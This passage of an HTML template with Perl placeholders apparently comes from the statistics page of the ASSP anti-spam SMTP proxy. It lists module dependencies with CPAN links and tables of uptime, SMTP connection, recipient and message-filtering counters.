            <td class="statsOptionValue" >
              $VerFileReadBackwards
            </td>
            </td>
            <td class="statsOptionValue" >
              $CommentFileReadBackwards
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=File::ReadBackwards"
              rel="external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              File::Scan::ClamAV
            </td>
            <td class="statsOptionValue" >
              $VerAvClamd
            </td>
             <td class="statsOptionValue">
              $CommentAvClamd
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=File::Scan::ClamAV"
              rel="external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              IO::Socket::INET6
            </td>
            <td class="statsOptionValue" >
              $VerIOSocketINET6
            </td>
            <td class="statsOptionValue" >
              $CommentIOSocketINET6
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=IO::Socket::INET6" rel=
              "external">CPAN</a>
            </td>
          </tr> 
          <tr>
            <td class="statsOptionTitle">
              IO::Socket::SSL
            </td>
            <td class="statsOptionValue" >
              $VerIOSocketSSL
            </td>
            <td class="statsOptionValue" >
              $CommentIOSocketSSL
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=IO::Socket::SSL" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              LWP::Simple
            </td>
            <td class="statsOptionValue">
              $VerLWP
            </td>
            <td class="statsOptionValue">
              $CommentLWP
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a rel="external" href=
              "http://search.cpan.org/search?query=LWP::Simple">CPAN</a>
            </td>
          </tr>
           
            <tr>
            <td class="statsOptionTitle">
              Authen::SASL
            </td>
            <td class="statsOptionValue">
              $VerAuthenSASL
            </td>
            <td class="statsOptionValue">
              $CommentAuthenSASL
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Authen::SASL"
              rel="external">CPAN</a>
            </td>
          </tr>
           <tr>
            <td class="statsOptionTitle">
              Mail::SPF
            </td>
            <td class="statsOptionValue">
              $VerMailSPF
            </td>
            <td class="statsOptionValue">
              $CommentMailSPF
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Mail::SPF"
              rel="external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Mail::SRS
            </td>
            <td class="statsOptionValue" >
              $VerMailSRS
            </td>
            <td class="statsOptionValue" >
              $CommentMailSRS
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Mail::SRS" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Net::CIDR::Lite
            </td>
            <td class="statsOptionValue" >
              $VerCIDRlite
            </td>
            <td class="statsOptionValue" >
              $CommentCIDRlite
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a rel="external" href=
              "http://search.cpan.org/search?query=Net::CIDR::Lite">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Net::DNS
            </td>
            <td class="statsOptionValue" >
              $VerNetDNS
            </td>
            <td class="statsOptionValue">
              $CommentNetDNS
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Net::DNS" rel=
              "external">CPAN</a>
            </td>
          </tr>
         
          <tr>
            <td class="statsOptionTitle">
              Net::SMTP
            </td>
            <td class="statsOptionValue" >
              $VerNetSMTP
            </td>
            <td class="statsOptionValue" >
              $CommentNetSMTP
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Net::SMTP" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Net::IP::Match::Regexp
            </td>
            <td class="statsOptionValue" >
              $VerCIDR
            </td>
            <td class="statsOptionValue" >
              $CommentCIDR
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a rel="external" href=
              "http://search.cpan.org/search?query=Net::IP::Match::Regexp">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Net::LDAP
            </td>
            <td class="statsOptionValue" >
              $VerNetLDAP
            </td>
            <td class="statsOptionValue" >
              $CommentNetLDAP
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Net::LDAP" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Net::SenderBase
            </td>
            <td class="statsOptionValue" >
              $VerSenderBase
            </td>
            <td class="statsOptionValue" >
              $CommentSenderBase
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a rel="external" href=
              "http://search.cpan.org/search?query=Net::SenderBase">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Sys::Syslog
            </td>
            <td class="statsOptionValue" >
              $VerSysSyslog
            </td>
            <td class="statsOptionValue" >
              $CommentSysSyslog
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Sys::Syslog" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Net::Syslog
            </td>
            <td class="statsOptionValue" >
              $VerNetSyslog
            </td>
            <td class="statsOptionValue" >
              $CommentNetSyslog
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Net::Syslog" rel=
              "external">CPAN</a>
            </td>
          </tr>
          
          <tr>
            <td class="statsOptionTitle">
              Tie::RDBM
            </td>
            <td class="statsOptionValue" >
              $VerRDBM
            </td>
             <td class="statsOptionValue" >
              $CommentRDBM
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a rel="external" href=
              "http://search.cpan.org/search?query=Tie::RDBM">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Time::HiRes
            </td>
            <td class="statsOptionValue" >
              $VerTimeHiRes
            </td>
             <td class="statsOptionValue" >
              $CommentTimeHiRes
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a href="http://search.cpan.org/search?query=Time::HiRes" rel=
              "external">CPAN</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Win32::Daemon
            </td>
            <td class="statsOptionValue" >
              $VerWin32Daemon
            </td>
            <td class="statsOptionValue" >
              $CommentWin32Daemon
            </td>
            <td class="statsOptionValueC" colspan="2">
              <a rel="external" href=
              "http://www.roth.net/perl/Daemon/">roth.net</a>
            </td>
          </tr>
          <tr>
            <td class="statsOptionValue" style="background-color: #FFFFFF">
              &nbsp;
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              &nbsp;
            </td>
            <td class="statsOptionValueC" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>downloads</em></font>
            </td>
          </tr>
        </tbody>
    
        <tbody>
          <tr>
            <td class="sectionHeader" onmousedown="toggleTbody('StatItem3')"
            colspan="5">
              General Runtime Information
            </td>
          </tr>
        </tbody>
        <tbody id="StatItem3" class="on">
          <tr>
            <td class="statsOptionTitle">
              ASSP Proxy Uptime:
            </td>
            <td class="statsOptionValue" colspan="2">
              $uptime 
            </td>
            <td class="statsOptionValue" colspan="2">
              $uptime2
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Messages Processed:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{msgTotal} ($mpd per day)
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{msgTotal2} ($mpd2 per day)
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Non-Local Mail Blocked:
            </td>
            <td class="statsOptionValue" colspan="2">
              $pct%
            </td>
            <td class="statsOptionValue" colspan="2">
              $pct2%
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              CPU Usage:
            </td>
            <td class="statsOptionValue" colspan="2">
              $cpu$cpuAvg
            </td>
            <td class="statsOptionValue" colspan="2">
              $cpuAvg2
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Concurrent SMTP Sessions:
            </td>
            <td class="statsOptionValue" colspan="2">
              $smtpConcurrentSessions ($Stats{smtpMaxConcurrentSessions} high / $maxSMTPSessions max)
            </td>
            <td class="statsOptionValue" colspan="2">
             $AllStats{smtpMaxConcurrentSessions} high
            </td>
          </tr>
          <tr>
            <td class="statsOptionValue" style="background-color: #FFFFFF">
              &nbsp;
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>since $restart at $starttime</em></font>
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>since $reset at $resettime</em></font>
            </td>
          </tr>
        </tbody>
        <tbody>
          <tr>
            <td colspan="5" class="sectionHeader" onmousedown=
            "toggleTbody('StatItem4')">
              Totaled Statistics
            </td>
          </tr>
        </tbody>
        <tbody id="StatItem4" class="off">
          <tr>
            <td class="statsOptionTitle">
              SMTP Connections Received:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{smtpConnTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{smtpConnTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;SMTP Connections Accepted:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{smtpConnAcceptedTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{smtpConnAcceptedTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;SMTP Connections Rejected:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{smtpConnRejectedTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{smtpConnRejectedTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Envelope Recipients Processed:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{rcptTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{rcptTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Envelope Recipients Accepted:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{rcptAcceptedTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{rcptAcceptedTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Envelope Recipients Rejected:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{rcptRejectedTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{rcptRejectedTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Messages Processed:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{msgTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{msgTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Messages Passed:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{msgAcceptedTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{msgAcceptedTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Messages Rejected:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{msgRejectedTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{msgRejectedTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Admin Connections Received:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{admConnTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{admConnTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Admin Connections Accepted:
            </td>
            <td class="statsOptionValue" colspan="2">
              $Stats{admConn}
            </td>
            <td class="statsOptionValue" colspan="2">
              $AllStats{admConn}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Admin Connections Rejected:
            </td>
            <td class="statsOptionValue" colspan="2">
              $Stats{admConnDenied}
            </td>
            <td class="statsOptionValue" colspan="2">
              $AllStats{admConnDenied}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Stat Connections Received:
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{statConnTotal}
            </td>
            <td class="statsOptionValue" colspan="2">
              $tots{statConnTotal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Stat Connections Accepted:
            </td>
            <td class="statsOptionValue" colspan="2">
              $Stats{statConn}
            </td>
            <td class="statsOptionValue" colspan="2">
              $AllStats{statConn}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Stat Connections Rejected:
            </td>
            <td class="statsOptionValue" colspan="2">
              $Stats{statConnDenied}
            </td>
            <td class="statsOptionValue" colspan="2">
              $AllStats{statConnDenied}
            </td>
          </tr>
          <tr>
            <td class="statsOptionValue" style="background-color: #FFFFFF">
              &nbsp;
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>since $restart at $starttime</em></font>
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>since $reset at $resettime</em></font>
            </td>
          </tr>
        </tbody>
        <tbody>
          <tr>
            <td colspan="5" class="sectionHeader" onmousedown=
            "toggleTbody('StatItem5')">
              SMTP Connection Statistics
            </td>
          </tr>
        </tbody>
        <tbody id="StatItem5" class="off">
          <tr>
            <td class="statsOptionTitle">
              Accepted Logged SMTP Connections:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{smtpConn}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{smtpConn}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Not Logged SMTP Connections:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{smtpConnNotLogged}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{smtpConnNotLogged}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              SMTP Connection Limits:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{smtpConnLimit}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{smtpConnLimit2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Overall Limits:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{smtpConnLimit}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{smtpConnLimit}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;By IP Limits:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{smtpConnLimitIP}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{smtpConnLimitIP}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;By Delay on PB:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{delayConnection}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{delayConnection}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;By AUTH Errors Count:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{AUTHErrors}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{AUTHErrors}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;By IP Frequency Limits:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{smtpConnLimitFreq}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{smtpConnLimitFreq}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;By Domain IP Limits:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{smtpConnDomainIP}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{smtpConnDomainIP}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;By Same Subject Limit:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{sameSubject}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{smtpConnDomainIP}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              SMTP Connections Timeout:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{smtpConnIdleTimeout}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{smtpConnIdleTimeout2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              SMTP SSL-Connections Timeout:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{smtpConnSSLIdleTimeout}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{smtpConnSSLIdleTimeout2}
            </td>
          </tr>
	      <tr>
            <td class="statsOptionTitle">
              SMTP TLS-Connections Timeout:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{smtpConnTLSIdleTimeout}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{smtpConnTLSIdleTimeout2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Denied SMTP Connections (strict):
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{denyConnectionA}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{denyConnectionA}
            </td>
          </tr>
          <tr>
            <td class="statsOptionValue" style="background-color: #FFFFFF">
              &nbsp;
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>since $restart at $starttime</em></font>
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>since $reset at $resettime</em></font>
            </td>
          </tr>
        </tbody>
        <tbody>
          <tr>
            <td colspan="5" class="sectionHeader" onmousedown=
            "toggleTbody('StatItem6')">
              Envelope Recipient Statistics
            </td>
          </tr>
        </tbody>
        <tbody id="StatItem6" class="off">
          <tr>
            <td class="statsOptionTitle">
              Local Recipients Accepted:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $tots{rcptAcceptedLocal}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $tots{rcptAcceptedLocal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Validated Recipients:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptValidated}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptValidated}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Unchecked Recipients:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptUnchecked}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptUnchecked}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;SpamLover Recipients:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptSpamLover}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptSpamLover}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Remote Recipients Accepted:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $tots{rcptAcceptedRemote}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $tots{rcptAcceptedRemote2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Whitelisted Recipients:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptWhitelisted}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptWhitelisted}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Not Whitelisted Recipients:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptNotWhitelisted}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptNotWhitelisted}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Noprocessed Recipients:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptUnprocessed}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptUnprocessed}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Email Reports:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $tots{rcptReport}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $tots{rcptReport2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Spam Reports:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptReportSpam}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptReportSpam}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Ham Reports:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptReportHam}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptReportHam}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Whitelist Additions:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptReportWhitelistAdd}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptReportWhitelistAdd}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Whitelist Deletions:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptReportWhitelistRemove}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptReportWhitelistRemove}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Redlist Additions:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptReportRedlistAdd}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptReportRedlistAdd}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Redlist Deletions:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptReportRedlistRemove}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptReportRedlistRemove}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Analyze Reports:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptReportAnalyze}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptReportAnalyze}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Help Reports:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{rcptReportHelp}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{rcptReportHelp}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Local Recipients Rejected:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{rcptRejectedLocal}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{rcptRejectedLocal2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Nonexistent Recipients:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{rcptNonexistent}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{rcptNonexistent}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Delayed Recipients:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{rcptDelayed}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{rcptDelayed}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Delayed (Late) Recipients:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{rcptDelayedLate}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{rcptDelayedLate}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Delayed (Expired) Recipients:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{rcptDelayedExpired}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{rcptDelayedExpired}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Embargoed Recipients:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{rcptEmbargoed}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{rcptEmbargoed}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Spam Bucketed Recipients:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{rcptSpamBucket}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{rcptSpamBucket}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Remote Recipients Rejected:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{rcptRejectedRemote}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $tots{rcptRejectedRemote2}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              &nbsp;&nbsp;&nbsp;&nbsp;Relay Attempts Rejected:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{rcptRelayRejected}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{rcptRelayRejected}
            </td>
          </tr>
          <tr>
            <td class="statsOptionValue" style="background-color: #FFFFFF">
              &nbsp;
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>since $restart at $starttime</em></font>
            </td>
            <td class="statsOptionValue" style="background-color: #FFFFFF"
            colspan="2">
              <font size="1" color="#C0C0C0"><em>since $reset at $resettime</em></font>
            </td>
          </tr>
        </tbody>
        <tbody>
          <tr>
            <td colspan="5" class="sectionHeader" onmousedown=
            "toggleTbody('StatItem7')">
              Message Statistics
            </td>
          </tr>
        </tbody>
        <tbody id="StatItem7" class="on">
          <tr>
            <td class="statsOptionTitle">
              Message OK:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{bhams}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{bhams}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Whitelisted:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{whites}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{whites}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Local:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{locals}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{locals}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Noprocessing:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{noprocessing}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{noprocessing}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Spamlover Spams Passed:
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $Stats{spamlover}
            </td>
            <td class="statsOptionValue positive" colspan="2">
              $AllStats{spamlover}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Bayesian Spams:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{bspams}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{bspams}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Domains Blacklisted:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{blacklisted}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{blacklisted}
            </td>
          </tr>
          
          <tr>
            <td class="statsOptionTitle">
              HELO Invalid:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{invalidHelo}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{invalidHelo}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              HELO Forged:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{forgedHelo}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{forgedHelo}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Missing MX and A Record:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{mxaMissing}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{mxaMissing}
            </td>
          </tr>
          
          <tr>
            <td class="statsOptionTitle">
              Spam Collect Messages:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{spambucket}
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $AllStats{spambucket}
            </td>
          </tr>
          <tr>
            <td class="statsOptionTitle">
              Penalty Trap Messages:
            </td>
            <td class="statsOptionValue negative" colspan="2">
              $Stats{penaltytrap}
